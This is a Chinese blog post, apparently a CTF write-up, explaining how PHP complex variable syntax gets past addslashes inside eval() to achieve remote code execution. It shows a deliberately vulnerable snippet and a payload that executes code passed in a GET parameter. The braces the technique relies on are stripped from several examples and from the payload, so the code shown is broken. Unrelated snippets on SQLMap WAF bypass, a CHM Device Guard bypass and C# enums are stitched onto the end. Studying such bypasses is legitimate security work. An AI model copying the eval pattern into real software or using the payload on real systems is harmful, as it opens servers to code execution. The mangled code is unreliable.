使用複雜變數繞過addslashes函式實現RCE

2021-09-29 05:51:20 字數 1912 閱讀 3636

addslashes ( string $str ) : string

使用反斜線引用字串

返回字串,該字串為了資料庫查詢語句等的需要在某些字元前加上了反斜線。這些字元是單引號(』)、雙引號(")、反斜線(\)與 nul(null 字元)。

簡單的說,就是在傳入的字串的單引號,雙引號,反斜線和空字元前加反斜線轉義

先看看題目**:

<?php 

highlight_file(__file__);

$str=@(string)$_get['str'];

eval('$str="'.addslashes($str).'";');

這裡使用雙引號包裹addslashes($str),看起來沒有問題,因為如果我們試圖傳入雙引號時會被addslashes給新增乙個反斜線轉義

再看看php中單引號和雙引號的區別

單引號:

其中的內容不會經過解釋(\n不會輸出為換行,而是直接輸出),即內容會與輸入的內容一致

$a = 1;

echo 'a is $a';

result: a is $a

雙引號:

雙引號中的內容將會被解釋,即解析內容中的變數

$a = 1;

echo "a is $a";

result: a is 1

還有就是,如果雙引號中插入單引號,單引號中的變數也會被解釋

$a = 1;

echo "'a is $a'";

result: 'a is 1'

再來看看php中的複雜變數

由上面知道,php在雙引號中可以解析變數

而解析變數共有兩種語法規則:一種簡單規則,一種複雜規則。

複雜規則:

任何具有string表達的標量變數,陣列單元或物件屬性都可使用此語法。只需簡單地像在string以外的地方那樣寫出表示式,然後用花括號把它括起來即可。由於 中使用。然而,只有在該字串被定義的命名空間中才可以將其值作為變數名來訪問。只單一使用花括號 ({})無法處理從函式或方法的返回值或者類常量以及類靜態變數的值。

這是php手冊中的描述。

簡單的說,我們要在雙引號中使用變數,那麼變數名怎麼定界

比如:

$abc=1;

echo "$abcd";

這裡我想輸出的是1d,而php會將$abcd當成乙個變數,所以就可以使用{}來定界我們的變數

$abc=1;

echo "$d";

也就是說 {}為變數名定義了乙個邊界。也就是說」}」和」$」效果是一樣的。

再來看看php中的變數的定義

通常乙個變數的定義必須是以下劃線或者英文本母開頭,且變數名只能包含下劃線字母和數字。

這是常規的定義變數的辦法,但php中還可以接受函式的返回值作為變數名

比如:

var_dump($=123);

var_dump($a=123);

result:int(123) int(123)

前面的$的命名步驟:

① 先執行phpinfo()

② 將phpinfo()的返回值作為變數名定義變數

③ 變數賦值為123

乙個例子就能看清本質:

$test = "hello world";

function a()

echo "$";

result: hello world

到這裡,我們的題目答案就呼之欲出了

payload:?str=$&1=phpinfo();

參考:

如何使用SQLMap繞過WAF

author bugcx or anonymous waf web應用防火牆 逐漸成為安全解決方案的標配之一。正因為有了它,許多公司甚至已經不在意web應用的漏洞。遺憾的是,並不是所有的waf都是不可繞過的!本文將向大家講述,如何使用注入神器sqlmap繞過wafs idss。我們關注的重點在於使用...

如何使用CHM 繞過Device guard

本文講的是如何使用chm 繞過device guard,在過去6個月裡,利用業餘時間我進行了一些安全研究,因為我覺得很有趣。在此期間,我很幸運地找到了另乙個有效的device guard umci旁路 我發現了 並將其報告給了microsoft安全響應中心。在與msrc進行交流後,他們告訴我,這已經...

變數的更多內容 複雜的變數型別 列舉

到目前為止,介紹的都是c 提供的簡單變數型別。還有3個略複雜 但非常有用 的變數,如下所示 列舉 結構 陣列今天主講列舉,每種型別 除了string外 都有明確的取值範圍。誠然,有些型別 如double 的取值範圍非常大,可以看作是連續的,但其中的數值總是固定的。最簡單的示例是bool型別,它只有t...